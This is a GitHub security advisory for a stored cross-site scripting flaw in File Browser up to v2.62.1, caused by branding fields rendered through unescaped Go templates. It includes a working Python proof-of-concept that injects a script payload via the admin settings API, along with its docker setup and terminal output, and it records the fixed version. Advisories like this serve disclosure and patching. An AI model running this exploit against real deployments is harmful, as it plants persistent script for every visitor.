GHSA-XFQJ-3VMX-63WV

Vulnerability from github – Published: 2026-03-31 23:45 – Updated: 2026-04-06 17:13
VLAI
Summary
File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection
Details

Summary

The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.


Details

http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:

// http/static.go, line 16 — imports text/template instead of html/template
"text/template"

// http/static.go, line 33 — branding.Name passed into template data
"Name": d.settings.Branding.Name,

// http/static.go, line 97 — template parsed with custom delimiters, no escaping
index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))

The frontend template (frontend/public/index.html) embeds these fields directly:

<!-- frontend/public/index.html, line 16 -->
[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 -->
content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"

Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as:

<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>

This allows loading arbitrary JavaScript from an admin-chosen origin.

No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.


PoC

Below is the PoC python script that could be ran on test environment using docker compose:

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

import argparse
import json
import sys
import requests


BANNER = """
  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html
"""

XSS_MARKER = "XSS_BRANDING_POC_12345"
XSS_PAYLOAD = (
    '</title><script>window.' + XSS_MARKER + '=1;'
    'alert("XSS in File Browser branding")</script><title>'
)


def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"      Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')


def main():
    sys.stdout.write(BANNER)
    sys.stdout.flush()

    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via branding injection PoC",
        epilog="""examples:
  %(prog)s -t http://localhost -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u admin -p secret

how it works:
  1. Authenticates as admin to File Browser
  2. Sets branding.name to a <script> payload via PUT /api/settings
  3. Fetches the SPA index (unauthenticated) to verify the payload
     renders unescaped in the HTML <title> tag

root cause:
  http/static.go renders the SPA index.html using Go's text/template
  (NOT html/template) with custom delimiters [{[ and ]}].
  Branding fields like Name are inserted directly into HTML:
    <title>[{[.Name]}]</title>
  No escaping is applied, so HTML/JS in the name breaks out of
  the <title> tag and executes as script.

impact:
  Stored XSS affecting ALL visitors (including unauthenticated).
  An admin (or attacker who compromised admin) can inject persistent
  JavaScript that steals credentials from every user who visits.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost)")
    ap.add_argument("-u", "--user", required=True,
                    help="Admin username")
    ap.add_argument("-p", "--password", required=True,
                    help="Admin password")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")
    hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"\n  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Injecting XSS payload into branding.name")
    r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10)
    if r.status_code != 200:
        print(f"      Failed: GET /api/settings returned {r.status_code}")
        print(f"      (requires admin privileges)")
        sys.exit(1)
    settings = r.json()
    settings["branding"]["name"] = XSS_PAYLOAD
    r = requests.put(f"{base}/api/settings", headers=hdrs(token),
                     json=settings, timeout=10)
    if r.status_code != 200:
        print(f"      Failed: PUT /api/settings returned {r.status_code}")
        sys.exit(1)
    print(f"      Payload injected")

    print(f"\n  [3] Verifying XSS renders in unauthenticated SPA")
    r = requests.get(f"{base}/", timeout=10)
    html = r.text

    if XSS_MARKER in html:
        print(f"      XSS payload found in HTML response!")
        for line in html.split("\n"):
            if XSS_MARKER in line:
                print(f"      >>> {line.strip()[:120]}")
        csp = r.headers.get("Content-Security-Policy", "")
        if not csp:
            print(f"      No CSP header — script executes without restriction")
        confirmed = True
    else:
        print(f"      Payload NOT found in HTML")
        confirmed = False

    print()
    print("====================")

    if confirmed:
        print()
        print("CONFIRMED: text/template renders branding.name without escaping.")
        print("The <title> tag is broken and arbitrary <script> executes.")
        print("Every visitor (authenticated or not) receives the payload.")
        print()
        print(f"Open {base}/ in a browser to see the alert() popup.")
    else:
        print()
        print("NOT CONFIRMED in this test run.")
    print()


if __name__ == "__main__":
    main()

And terminal output:

root@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"

  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html

[*] ATTACK BEGINS...
====================

  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Injecting XSS payload into branding.name
      Payload injected

  [3] Verifying XSS renders in unauthenticated SPA
      XSS payload found in HTML response!
      >>> </title><script>window.XSS_BRANDING_POC_12345=1;alert("XSS in File Browser branding")</script><title>
      >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen
      No CSP header — script executes without restriction

====================

CONFIRMED: text/template renders branding.name without escaping.
The <title> tag is broken and arbitrary <script> executes.
Every visitor (authenticated or not) receives the payload.

Open http://localhost/ in a browser to see the alert() popup.


Impact

  • Stored XSS affecting ALL visitors including unauthenticated users
  • Persistent backdoor — the payload survives until branding is manually changed
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.62.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.62.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:45:56Z",
    "nvd_published_at": "2026-04-01T21:17:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.\n\n\n\u003cbr/\u003e\n\n### Details\n`http/static.go` renders the SPA `index.html` using Go\u0027s `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping:\n\n```go\n// http/static.go, line 16 \u2014 imports text/template instead of html/template\n\"text/template\"\n\n// http/static.go, line 33 \u2014 branding.Name passed into template data\n\"Name\": d.settings.Branding.Name,\n\n// http/static.go, line 97 \u2014 template parsed with custom delimiters, no escaping\nindex := template.Must(template.New(\"index\").Delims(\"[{[\", \"]}]\").Parse(string(fileContents)))\n```\n\nThe frontend template (`frontend/public/index.html`) embeds these fields directly:\n```html\n\u003c!-- frontend/public/index.html, line 16 --\u003e\n[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]\n\n\u003c!-- frontend/public/index.html, line 42 --\u003e\ncontent=\"[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]\"\n```\n\nSince `text/template` performs NO HTML escaping (unlike `html/template`), setting `branding.name` to `\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e` breaks out of the `\u003ctitle\u003e` tag and injects arbitrary script into every page load.\n\nAdditionally, when ReCaptcha is enabled, the `ReCaptchaHost` field is used as:\n```html\n\u003cscript src=\"[{[.ReCaptchaHost]}]/recaptcha/api.js\"\u003e\u003c/script\u003e\n```\nThis allows loading arbitrary JavaScript from an admin-chosen origin.\n\nNo `Content-Security-Policy` header is set on the SPA entry point, so there is no CSP mitigation.\n\n\n\u003cbr/\u003e\n\n### PoC\nBelow is the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport json\nimport sys\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\"\"\"\n\nXSS_MARKER = \"XSS_BRANDING_POC_12345\"\nXSS_PAYLOAD = (\n    \u0027\u003c/title\u003e\u003cscript\u003ewindow.\u0027 + XSS_MARKER + \u0027=1;\u0027\n    \u0027alert(\"XSS in File Browser branding\")\u003c/script\u003e\u003ctitle\u003e\u0027\n)\n\n\ndef login(base: str, username: str, password: str) -\u003e str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"      Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip(\u0027\"\u0027)\n\n\ndef main():\n    sys.stdout.write(BANNER)\n    sys.stdout.flush()\n\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via branding injection PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u admin -p secret\n\nhow it works:\n  1. Authenticates as admin to File Browser\n  2. Sets branding.name to a \u003cscript\u003e payload via PUT /api/settings\n  3. Fetches the SPA index (unauthenticated) to verify the payload\n     renders unescaped in the HTML \u003ctitle\u003e tag\n\nroot cause:\n  http/static.go renders the SPA index.html using Go\u0027s text/template\n  (NOT html/template) with custom delimiters [{[ and ]}].\n  Branding fields like Name are inserted directly into HTML:\n    \u003ctitle\u003e[{[.Name]}]\u003c/title\u003e\n  No escaping is applied, so HTML/JS in the name breaks out of\n  the \u003ctitle\u003e tag and executes as script.\n\nimpact:\n  Stored XSS affecting ALL visitors (including unauthenticated).\n  An admin (or attacker who compromised admin) can inject persistent\n  JavaScript that steals credentials from every user who visits.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Admin username\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Admin password\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    hdrs = lambda tok: {\"X-Auth\": tok, \"Content-Type\": \"application/json\"}\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"\\n  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Injecting XSS payload into branding.name\")\n    r = requests.get(f\"{base}/api/settings\", headers=hdrs(token), timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: GET /api/settings returned {r.status_code}\")\n        print(f\"      (requires admin privileges)\")\n        sys.exit(1)\n    settings = r.json()\n    settings[\"branding\"][\"name\"] = XSS_PAYLOAD\n    r = requests.put(f\"{base}/api/settings\", headers=hdrs(token),\n                     json=settings, timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: PUT /api/settings returned {r.status_code}\")\n        sys.exit(1)\n    print(f\"      Payload injected\")\n\n    print(f\"\\n  [3] Verifying XSS renders in unauthenticated SPA\")\n    r = requests.get(f\"{base}/\", timeout=10)\n    html = r.text\n\n    if XSS_MARKER in html:\n        print(f\"      XSS payload found in HTML response!\")\n        for line in html.split(\"\\n\"):\n            if XSS_MARKER in line:\n                print(f\"      \u003e\u003e\u003e {line.strip()[:120]}\")\n        csp = r.headers.get(\"Content-Security-Policy\", \"\")\n        if not csp:\n            print(f\"      No CSP header \u2014 script executes without restriction\")\n        confirmed = True\n    else:\n        print(f\"      Payload NOT found in HTML\")\n        confirmed = False\n\n    print()\n    print(\"====================\")\n\n    if confirmed:\n        print()\n        print(\"CONFIRMED: text/template renders branding.name without escaping.\")\n        print(\"The \u003ctitle\u003e tag is broken and arbitrary \u003cscript\u003e executes.\")\n        print(\"Every visitor (authenticated or not) receives the payload.\")\n        print()\n        print(f\"Open {base}/ in a browser to see the alert() popup.\")\n    else:\n        print()\n        print(\"NOT CONFIRMED in this test run.\")\n    print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p \"jhSR9z9pofv5evlX\"\n\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\n[*] ATTACK BEGINS...\n====================\n\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Injecting XSS payload into branding.name\n      Payload injected\n\n  [3] Verifying XSS renders in unauthenticated SPA\n      XSS payload found in HTML response!\n      \u003e\u003e\u003e \u003c/title\u003e\u003cscript\u003ewindow.XSS_BRANDING_POC_12345=1;alert(\"XSS in File Browser branding\")\u003c/script\u003e\u003ctitle\u003e\n      \u003e\u003e\u003e window.FileBrowser = {\"AuthMethod\":\"json\",\"BaseURL\":\"\",\"CSS\":false,\"Color\":\"\",\"DisableExternal\":false,\"DisableUsedPercen\n      No CSP header \u2014 script executes without restriction\n\n====================\n\nCONFIRMED: text/template renders branding.name without escaping.\nThe \u003ctitle\u003e tag is broken and arbitrary \u003cscript\u003e executes.\nEvery visitor (authenticated or not) receives the payload.\n\nOpen http://localhost/ in a browser to see the alert() popup.\n\n```\n\n\n\u003cbr/\u003e\n\n### Impact\n- Stored XSS affecting ALL visitors including unauthenticated users\n- Persistent backdoor \u2014 the payload survives until branding is manually changed",
  "id": "GHSA-xfqj-3vmx-63wv",
  "modified": "2026-04-06T17:13:38Z",
  "published": "2026-03-31T23:45:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xfqj-3vmx-63wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34530"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.